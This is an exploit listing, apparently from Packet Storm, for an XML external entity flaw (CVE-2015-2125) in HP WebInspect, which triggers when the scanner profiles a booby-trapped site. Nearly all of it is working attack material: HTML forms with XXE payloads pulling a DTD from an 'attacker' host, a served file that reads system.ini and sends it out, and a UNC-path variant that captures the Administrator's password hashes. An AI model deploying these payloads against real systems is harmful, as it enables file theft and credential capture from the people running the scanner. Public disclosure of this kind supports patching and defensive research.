HP WebInspect 10.4 XML External Entity

2015-06-1200:00:00

Jakub Palaczynski

packetstormsecurity.com

0.008 Low

EPSS

Percentile

80.2%

JSON

`# Exploit Title: HP WebInspect - XML External Entity  
# Date: 23\04\2015  
# Exploit Author: Jakub Palaczynski  
# Vendor Homepage: http://www.hp.com/  
# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x  
# CVE : CVE-2015-2125  
  
1. Create website that exploits vulnerability.  
  
1.1. Website that steals files using OOB technique:  
1.1.1. Website that triggers vulnerability:  
<html>  
<body>  
  
<form action="/" method="POST">  
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>  
<input type="submit" value="Submit" />  
</form>  
  
</body>  
</html>  
1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:  
<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">  
  
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://attacker/?p=%payl;'>">  
  
1.2. Website that steals hashes of Administrator user:  
1.2.1. Website that triggers vulnerability:  
<html>  
<body>  
  
<form action="/" method="POST">  
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>  
<input type="submit" value="Submit" />  
</form>  
  
</body>  
</html>  
1.2.2. Attacker needs to start tool on the server that captures hashes.  
  
2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.  
  
  
`

0.008 Low

EPSS

Percentile

80.2%

JSON

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